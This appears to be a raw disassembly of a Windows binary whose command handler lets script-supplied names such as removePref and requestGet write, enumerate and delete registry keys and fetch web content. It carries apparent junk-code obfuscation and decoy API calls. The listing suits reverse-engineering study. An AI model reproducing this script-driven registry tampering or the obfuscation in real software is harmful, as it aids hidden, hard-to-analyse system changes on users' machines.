push 0x53d080
lea ecx, [ebp - 0x604]
call fcn.004391a0
push 0x53d068
mov ecx, eax
call fcn.004394f0
test al, al
je 0x44ffe2
push ecx
push 0x53d070
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d094
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x33
mov esi, dword [eax + 0x20]
push 0x53d09c
lea ecx, [ebp - 0x5dc]
call fcn.00404a70
mov ecx, SysReAllocStringLen
test eax, eax
cmove esi, ecx
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x26
call fcn.004020d0
test esi, esi
je 0x44ffe2
push ecx
push 0x53d0f0
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d0d4
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e8]
call fcn.00404310
push ecx
push 0x53d0dc
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x37
call fcn.004391a0
push ecx
push 0x53d11c
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e4]
call fcn.00404310
push ecx
push 0x53d124
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x38
call fcn.004391a0
push ecx
push 0x53d0f8
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5d8]
call fcn.00404310
lea eax, [ebp - 0x5e8]
push esi
push eax
lea edx, [ebp - 0x5e4]
lea ecx, [ebp - 0x5d8]
call fcn.00446300
add esp, 8
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 0x5dd], al
call fcn.004020d0
lea ecx, [ebp - 0x5e4]
call fcn.004020d0
lea ecx, [ebp - 0x5e8]
jmp 0x4500bf
push ecx
push 0x53d08c
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d0c4
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e4]
call fcn.00404310
push ecx
push 0x53d0cc
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x34
call fcn.004391a0
push ecx
push 0x53d0b4
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5d8]
call fcn.00404310
push ecx
push 0x53d0bc
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x35
call fcn.004391a0
push ecx
push 0x53d0e4
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
push ecx
mov ecx, esp
push 0x53d088
mov byte [ebp - 4], 0x36
call fcn.00402020
push dword [0x558ef4]
lea eax, [ebp - 0x5e4]
push eax
lea edx, [ebp - 0x5d8]
lea ecx, [ebp - 0x5dc]
call fcn.00445f60
add esp, 0xc
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 0x5dd], al
call fcn.004020d0
lea ecx, [ebp - 0x5d8]
call fcn.004020d0
lea ecx, [ebp - 0x5e4]
call fcn.004020d0
test ebx, ebx
je 0x4500df
movzx eax, byte [ebp - 0x5dd]
neg eax
sbb eax, eax
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
mov ecx, dword [0x55e860]
mov eax, ecx
imul eax, ecx
imul eax, ecx
cdq
mov ecx, 9
idiv ecx
cmp edx, 5
jne 0x451691
mov eax, 0xa1
mov esi, 0xe8
test esi, esi
je 0x450119
cdq
idiv esi
mov ecx, esi
mov eax, ecx
mov esi, edx
test ecx, ecx
jne 0x450108
add eax, esi
mov dword [0x55e860], eax
jmp 0x451691
push str.setIntPref
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x4503ee
push ecx
push 0x53d140
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d148
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x451691
push ecx
push 0x53d12c
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d134
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x451691
push ecx
push 0x53d160
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d168
mov ecx, eax
call fcn.004391a0
mov al, byte [eax + 8]
cmp al, 1
je 0x4501c2
cmp al, 2
je 0x4501c2
cmp al, 5
je 0x4501c2
cmp al, 3
jne 0x451691
push ecx
push 0x53d150
lea ecx, [ebp - 0x604]
call fcn.004391a0
push 0x53d158
mov ecx, eax
call fcn.004394f0
test al, al
je 0x450317
call fcn.0044e9e0
mov ecx, dword [0x55fc00]
mov edx, 0x2e437cf0
test al, al
cmove ecx, edx
push ecx
mov dword [0x55fc00], ecx
push 0x53d18c
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d194
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x39
mov esi, dword [eax + 0x20]
push 0x53d170
lea ecx, [ebp - 0x5dc]
call fcn.00404a70
mov ecx, SysReAllocStringLen
test eax, eax
cmove esi, ecx
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x26
call fcn.004020d0
test esi, esi
je 0x450317
push ecx
push 0x53d1bc
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d1c4
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e4]
call fcn.00404310
push ecx
push 0x53d1f4
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x3d
call fcn.004391a0
push ecx
push str.value
mov ecx, eax
call fcn.004391a0
mov ecx, eax
call fcn.00438c20
push ecx
push 0x53d1e0
lea ecx, [ebp - 0x604]
mov dword [ebp - 0x570], eax
call fcn.004391a0
push ecx
push 0x53d1e8
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5d8]
call fcn.00404310
lea eax, [ebp - 0x5e4]
push esi
push eax
lea edx, [ebp - 0x570]
lea ecx, [ebp - 0x5d8]
call fcn.00446520
add esp, 8
mov byte [ebp - 0x5dd], al
jmp 0x450747
push ecx
push 0x53d1ac
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d1b4
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5d8]
call fcn.00404310
push ecx
push 0x53d1cc
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x3a
call fcn.004391a0
push ecx
push 0x53d1d4
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
push ecx
mov byte [ebp - 4], 0x3b
mov ecx, esp
mov dword [ebp - 0x570], esp
push 0x53d188
call fcn.00402020
push ecx
push 0x53d19c
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x3c
call fcn.004391a0
push ecx
push 0x53d1a4
mov ecx, eax
call fcn.004391a0
mov ecx, eax
call fcn.00438c20
push dword [0x558ef4]
lea ecx, [ebp - 0x5d8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x3b
call fcn.00446d70
add esp, 0xc
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 0x5dd], al
call fcn.004020d0
lea ecx, [ebp - 0x5d8]
jmp 0x450758
push str.removePref
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x450781
push ecx
push 0x53d22c
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d204
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x451691
push ecx
push 0x53d20c
lea ecx, [ebp - 0x604]
call fcn.004391a0
push 0x53d254
mov ecx, eax
call fcn.004394f0
push ecx
lea ecx, [ebp - 0x604]
test al, al
je 0x45062f
push 0x53d25c
call fcn.004391a0
push ecx
push 0x53d234
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e4]
call fcn.00404310
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x3e
mov esi, dword [eax + 0x20]
push 0x53d23c
lea ecx, [ebp - 0x5e4]
call fcn.00404a70
mov ecx, SysReAllocStringLen
test eax, eax
push ecx
cmove esi, ecx
push 0x53d278
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d280
mov ecx, eax
call fcn.004391a0
lea ecx, [ebp - 0x5d8]
push ecx
push 0xf003f
push 0
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x450529
test ebx, ebx
je 0x4504ed
mov dword [ebx + 8], eax
mov eax, 0x16
mov word [ebx], ax
lea ecx, [ebp - 0x5e4]
call fcn.004020d0
lea ecx, [ebp - 0x5f0]
call fcn.004020d0
lea ecx, [ebp - 0x5a4]
call fcn.004012d0
lea ecx, [ebp - 0x614]
call fcn.004020d0
lea ecx, [ebp - 0x518]
call fcn.0041af50
jmp 0x44f3db
push ecx
push 0x53d264
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d26c
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
mov eax, dword [ebp - 0x5dc]
cmp dword [eax - 0xc], 0
jne 0x450591
push 0x53d29c
push dword [ebp - 0x5d8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x4505a2
test ebx, ebx
je 0x450613
or eax, 0xffffffff
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
jmp 0x450613
push eax
push dword [ebp - 0x5d8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
je 0x4505b3
test ebx, ebx
je 0x450613
mov dword [ebx + 8], eax
mov eax, 0x16
mov word [ebx], ax
jmp 0x450613
test ebx, ebx
je 0x4505c6
or eax, 0xffffffff
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
mov esi, dword [0x55e860]
mov ecx, 6
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 1
jne 0x450613
xor ecx, ecx
mov eax, dword [ebp + ecx*4 - 0x560]
add eax, dword [ebp + ecx*4 - 0x564]
add ecx, 4
add eax, dword [ebp + ecx*4 - 0x578]
add eax, dword [ebp + ecx*4 - 0x57c]
imul eax, eax, 0x52
add esi, eax
mov dword [0x55e860], esi
cmp ecx, 0xc4
jb 0x4505e1
push dword [ebp - 0x5d8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x5dc]
call fcn.004020d0
jmp 0x4504ed
push 0x53d2a0
call fcn.004391a0
push ecx
push 0x53d288
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x4506c4
push ecx
push 0x53d294
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push str.valueName
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e4]
call fcn.00404310
push 0x53d2c4
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x3f
call fcn.00402020
push ecx
push 0x53d2a8
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x40
call fcn.004391a0
push ecx
push 0x53d2b0
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
mov byte [ebp - 4], 0x41
jmp 0x45071b
push 0x53d2d8
lea ecx, [ebp - 0x5e4]
call fcn.00402020
push 0x53d2dc
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x42
call fcn.00402020
push ecx
push 0x53d2c8
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x43
call fcn.004391a0
push ecx
push 0x53d2d0
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x5e4]
push eax
lea edx, [ebp - 0x5d8]
lea ecx, [ebp - 0x5dc]
call fcn.00445430
add esp, 4
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 0x5dd], al
call fcn.004020d0
lea ecx, [ebp - 0x5d8]
call fcn.004020d0
lea ecx, [ebp - 0x5e4]
call fcn.004020d0
test ebx, ebx
je 0x451691
movzx eax, byte [ebp - 0x5dd]
neg eax
sbb eax, eax
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
jmp 0x451691
push 0x53d2f4
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
je 0x450ec5
push str.getChildKeys
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
je 0x450ec5
push str.requestGet
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x450cb6
call fcn.0044e9e0
test al, al
jne 0x450813
mov esi, dword [0x55e860]
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x64
sub esi, ecx
xor ecx, ecx
lea eax, [esi + 0x63]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004aeef0
add esp, 4
push eax
call fcn.004b08fb
add esp, 4
push 0
push 0
push 0
push 1
push 0x53d404
call dword [sym.imp.WININET.dll_InternetOpenW]
push ecx
mov esi, eax
push 0x53d41c
lea ecx, [ebp - 0x604]
mov dword [ebp - 0x60c], esi
call fcn.004391a0
push ecx
push 0x53d424
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x450c1c
test esi, esi
je 0x450c1c
push ecx
push 0x53d410
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d418
mov ecx, eax
call fcn.004391a0
lea ecx, [ebp - 0x5d4]
push ecx
mov ecx, eax
call fcn.00438a30
mov ecx, eax
mov byte [ebp - 4], 0x51
call fcn.004114d0
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00404310
lea ecx, [ebp - 0x5d4]
mov byte [ebp - 4], 0x53
call fcn.004012d0
push 0
push 0x53d434
lea ecx, [ebp - 0x5e8]
call fcn.004113c0
mov esi, eax
test esi, esi
jle 0x450941
push 0x26
lea ecx, [ebp - 0x5e8]
add esi, 6
call fcn.00429200
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x570]
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00411400
push eax
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 0x54
call fcn.004020f0
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x53
call fcn.004020d0
push str.js_code
lea ecx, [ebp - 0x5dc]
call fcn.00404310
lea edx, [ebp - 0x5dc]
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 0x55
call fcn.0041ed90
lea ecx, [ebp - 0x5dc]
call fcn.004020d0
and dword [ebp - 0x634], 0xfffffe00
mov dword [ebp - 0x630], 0
push 0x53d430
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x57
call fcn.004386d0
push ecx
push str.method
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x58
call fcn.004391a0
lea ecx, [ebp - 0x57c]
push ecx
mov ecx, eax
call fcn.004389a0
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x57
call fcn.004388f0
push ecx
push 0x53d468
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d44c
mov ecx, eax
call fcn.004391a0
lea ecx, [ebp - 0x5bc]
push ecx
mov ecx, eax
call fcn.00438a30
push eax
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x59
call fcn.00438730
push ecx
push 0x53d464
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x5a
call fcn.004391a0
lea ecx, [ebp - 0x57c]
push ecx
mov ecx, eax
call fcn.004389a0
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x59
call fcn.004388f0
lea ecx, [ebp - 0x5bc]
mov byte [ebp - 4], 0x57
call fcn.004012d0
call fcn.0044e900
test al, al
jne 0x450a4e
mov eax, dword [0x55e860]
mov ecx, eax
sub ecx, 0
je 0x450a44
dec ecx
je 0x450a38
inc eax
mov dword [0x55e860], eax
jmp 0x450a4e
mov dword [0x55e860], 0
jmp 0x450a4e
mov dword [0x55e860], 2
push 0x53d490
lea ecx, [ebp - 0x57c]
call fcn.004386d0
push ecx
push str.acceptedStatusCodes
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x5b
call fcn.004391a0
lea ecx, [ebp - 0x57c]
push ecx
mov ecx, eax
call fcn.004394c0
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x57
call fcn.004388f0
call fcn.0044ea10
test al, al
jne 0x450abb
mov eax, 0x7e
mov esi, 4
test esi, esi
je 0x450ab4
cdq
idiv esi
mov ecx, esi
mov eax, ecx
mov esi, edx
test ecx, ecx
jne 0x450aa3
add eax, esi
mov dword [0x55e860], eax
push 0x53d470
lea ecx, [ebp - 0x57c]
call fcn.004386d0
push ecx
push str.acceptTypes
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x5c
call fcn.004391a0
lea ecx, [ebp - 0x57c]
push ecx
mov ecx, eax
call fcn.004389a0
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x57
call fcn.004388f0
push str.Accept_Encoding:_gzip__deflate_r_n
lea ecx, [ebp - 0x57c]
call fcn.004386d0
push ecx
push str.additionalRequestHeaders
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x5d
call fcn.004391a0
lea ecx, [ebp - 0x57c]
push ecx
mov ecx, eax
call fcn.004389a0
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x57
call fcn.004388f0
mov esi, dword [ebp - 0x60c]
sub esp, 8
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x570]
push eax
mov edx, esi
lea ecx, [ebp - 0x64c]
mov dword [ebp - 0x570], 0
call fcn.0042ebc0
add esp, 0x10
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x450bf3
lea ecx, [ebp - 0x58c]
call fcn.0043b360
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x5bc]
push eax
mov byte [ebp - 4], 0x5f
call fcn.0043b380
mov ecx, eax
mov byte [ebp - 4], 0x60
call fcn.004114d0
push eax
lea ecx, [ebp - 0x5dc]
call fcn.00404310
lea ecx, [ebp - 0x5bc]
mov byte [ebp - 4], 0x62
call fcn.004012d0
lea ecx, [ebp - 0x5dc]
call fcn.004114b0
mov dword [ebx + 8], eax
mov eax, 8
lea ecx, [ebp - 0x5dc]
mov word [ebx], ax
call fcn.004020d0
lea ecx, [ebp - 0x58c]
call fcn.0040b260
lea ecx, [ebp - 0x64c]
mov byte [ebp - 4], 0x57
call fcn.004388f0
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x53
call fcn.004388f0
lea ecx, [ebp - 0x5e8]
jmp 0x45168c
mov esi, dword [0x55e860]
mov ecx, 0x18
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 0x15
jne 0x450c9b
mov eax, 0x15390949
imul esi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0xc1
mov eax, esi
sub eax, ecx
xor edi, edi
cmp eax, 0xfa
je 0x450c95
lea esp, [esp]
mov eax, esi
or eax, 0xffffff3e
add esi, eax
mov eax, esi
imul eax, esi
inc edi
cmp edi, eax
jg 0x450c95
mov eax, 0x15390949
imul esi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0xc1
mov eax, esi
sub eax, ecx
cmp eax, 0xfa
jne 0x450c60
mov dword [0x55e860], edi
test ebx, ebx
je 0x4504f8
xor eax, eax
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
jmp 0x4504f8
push str.getIeVersion
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x450d1d
mov eax, dword [0x55e860]
imul eax, eax
cdq
mov ecx, 0x11
idiv ecx
cmp edx, 0xa
jne 0x450ce9
call fcn.004b0a92
mov dword [0x55e860], eax
lea ecx, [ebp - 0x5dc]
call fcn.00447a50
mov byte [ebp - 4], 0x63
test ebx, ebx
je 0x450d12
lea ecx, [ebp - 0x5dc]
call fcn.004114b0
mov dword [ebx + 8], eax
mov eax, 8
mov word [ebx], ax
lea ecx, [ebp - 0x5dc]
jmp 0x45168c
push str.reloadBackground
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x450da0
mov ecx, dword [0x55e860]
lea eax, [ecx + 1]
imul eax, ecx
cdq
mov ecx, 0x14
idiv ecx
cmp edx, 7
jne 0x450d66
mov esi, 1
mov eax, esi
mov edx, 0x5a
dec edx
lea ecx, [eax + esi]
lea esi, [eax]
mov eax, ecx
jns 0x450d56
mov dword [0x55e860], ecx
mov eax, dword [ebp - 0x5ec]
mov eax, dword [eax + 0x24]
mov edx, dword [eax + 0x90]
lea ecx, [eax + 0x90]
add eax, 0x104
push eax
call dword [edx + 0x24]
test ebx, ebx
je 0x451691
or eax, 0xffffffff
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
jmp 0x451691
push str.debugMessage
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x450eaa
push ecx
push str.param
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push str.message
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x450eaa
push ecx
push 0x53d520
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d528
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5d8]
call fcn.00404310
push 0x53d564
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x64
call fcn.00402020
lea ecx, [ebp - 0x60c]
call fcn.00402000
lea ecx, [ebp - 0x5d8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x66
call fcn.00421a70
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x67
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x450e6b
push 0
push edx
lea edx, [ebp - 0x5dc]
push edx
add eax, 8
push eax
call fcn.00402570
lea ecx, [ebp - 0x570]
call fcn.004020d0
lea ecx, [ebp - 0x60c]
call fcn.004020d0
lea ecx, [ebp - 0x5dc]
call fcn.004020d0
test ebx, ebx
je 0x450e9f
or eax, 0xffffffff
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
lea ecx, [ebp - 0x5d8]
jmp 0x45168c
test ebx, ebx
je 0x451691
xor eax, eax
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
jmp 0x451691
push ecx
push 0x53d2ec
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d340
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x45134f
test ebx, ebx
je 0x45134f
lea ecx, [ebp - 0x638]
call fcn.0041ccc0
push ecx
push 0x53d348
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x45
call fcn.004391a0
push 0x53d330
mov ecx, eax
call fcn.004394f0
test al, al
je 0x4510da
push ecx
push 0x53d338
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push str.hive
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5d8]
call fcn.00404310
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x46
mov esi, dword [eax + 0x20]
push 0x53d368
lea ecx, [ebp - 0x5d8]
call fcn.00404a70
mov ecx, SysReAllocStringLen
test eax, eax
push ecx
cmove esi, ecx
push 0x53d350
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d358
mov ecx, eax
call fcn.004391a0
lea ecx, [ebp - 0x570]
push ecx
push 0xf003f
push 0
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x450fda
mov dword [ebx + 8], eax
mov eax, 0x16
lea ecx, [ebp - 0x5d8]
mov word [ebx], ax
call fcn.004020d0
lea ecx, [ebp - 0x638]
call fcn.0041cdd0
jmp 0x4504f8
push 0x53d390
lea ecx, [ebp - 0x5f0]
mov dword [ebp - 0x5dc], 0
mov dword [ebp - 0x5e4], 0x7ffe
call fcn.00404a70
mov ecx, eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test ecx, ecx
cmove eax, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
push 0x7ffe
mov dword [ebp - 0x60c], eax
call fcn.004aeef0
add esp, 4
mov esi, eax
push 0x7ffe
push 0
push esi
call fcn.004b4d70
mov ecx, dword [ebp - 0x5dc]
add esp, 0xc
mov eax, ecx
push 0
push 0
push 0
inc ecx
push 0
mov dword [ebp - 0x5dc], ecx
lea ecx, [ebp - 0x5e4]
push ecx
push esi
push eax
push dword [ebp - 0x570]
call dword [ebp - 0x60c]
test eax, eax
jne 0x4510a7
push esi
lea ecx, [ebp - 0x618]
call fcn.00404310
push eax
lea ecx, [ebp - 0x638]
mov byte [ebp - 4], 0x47
call fcn.0041eef0
lea ecx, [ebp - 0x618]
mov byte [ebp - 4], 0x46
call fcn.004020d0
push 0x7ffe
push 0
push esi
call fcn.004b4d70
mov dword [ebp - 0x5e4], 0x7ffe
jmp 0x451030
cmp eax, 0x103
je 0x4510c8
mov eax, dword [ebp - 0x634]
sub eax, dword [ebp - 0x638]
mov byte [ebp - 0x5dd], 0
test eax, 0xfffffffc
je 0x4510cf
mov byte [ebp - 0x5dd], 1
lea ecx, [ebp - 0x5d8]
jmp 0x451175
push str.getChildValues
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
push ecx
lea ecx, [ebp - 0x604]
test eax, eax
jne 0x451130
push 0x53d380
call fcn.004391a0
push ecx
push 0x53d388
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
lea edx, [ebp - 0x638]
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x48
call fcn.00447430
jmp 0x451169
push 0x53d3dc
call fcn.004391a0
push ecx
push str.keyPath
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
lea edx, [ebp - 0x638]
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x49
call fcn.00447170
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 0x5dd], al
mov byte [ebp - 4], 0x45
call fcn.004020d0
cmp byte [ebp - 0x5dd], 0
je 0x451336
push 0x53d3d0
lea ecx, [ebp - 0x5e8]
call fcn.00402020
mov byte [ebp - 4], 0x4a
mov esi, dword [ebp - 0x638]
jmp 0x4511b0
cmp esi, dword [ebp - 0x634]
je 0x451261
push 0x53d3d8
lea ecx, [ebp - 0x5d8]
call fcn.00404310
push 0x53d408
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x4b
call fcn.00404310
push esi
lea edx, [ebp - 0x5dc]
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0x4c
call fcn.004045e0
add esp, 4
lea ecx, [ebp - 0x5d8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x4d
call fcn.004045e0
add esp, 4
mov byte [ebp - 4], 0x4e
mov eax, dword [eax]
lea ecx, [ebp - 0x5e8]
push dword [eax - 0xc]
push eax
call fcn.00411e80
lea ecx, [ebp - 0x570]
call fcn.004020d0
lea ecx, [ebp - 0x60c]
call fcn.004020d0
lea ecx, [ebp - 0x5dc]
call fcn.004020d0
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x4a
call fcn.004020d0
add esi, 4
jmp 0x4511b0
mov eax, dword [ebp - 0x5e8]
lea ecx, [ebp - 0x5e8]
mov eax, dword [eax - 0xc]
dec eax
push eax
lea eax, [ebp - 0x60c]
push eax
call fcn.0041c950
push 0x53d40c
mov edx, eax
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x4f
call fcn.0041c9c0
add esp, 4
push eax
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 0x50
call fcn.004020f0
lea ecx, [ebp - 0x570]
call fcn.004020d0
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0x4a
call fcn.004020d0
call fcn.0044e9b0
test al, al
jne 0x4512eb
push 4
call fcn.004b0975
add esp, 4
mov esi, eax
call fcn.004b0a92
push esi
mov dword [esi], eax
mov dword [0x55e860], eax
call fcn.004b009b
add esp, 4
lea ecx, [ebp - 0x5e8]
call fcn.004114b0
mov dword [ebx + 8], eax
call fcn.0044e900
test al, al
jne 0x451312
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov eax, 8
mov word [ebx], ax
call fcn.0044e980
test al, al
jne 0x451329
inc dword [0x55e860]
lea ecx, [ebp - 0x5e8]
call fcn.004020d0
jmp 0x451344
xor eax, eax
mov word [ebx + 8], ax
mov eax, 0xb
mov word [ebx], ax
lea ecx, [ebp - 0x638]
call fcn.0041cdd0
mov edx, dword [0x55e860]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0x16
idiv ecx
cmp edx, 0x12
jne 0x451691
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
jmp 0x451691
push ecx
push 0x53cf74
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53cf7c
mov ecx, eax
call fcn.004391a0
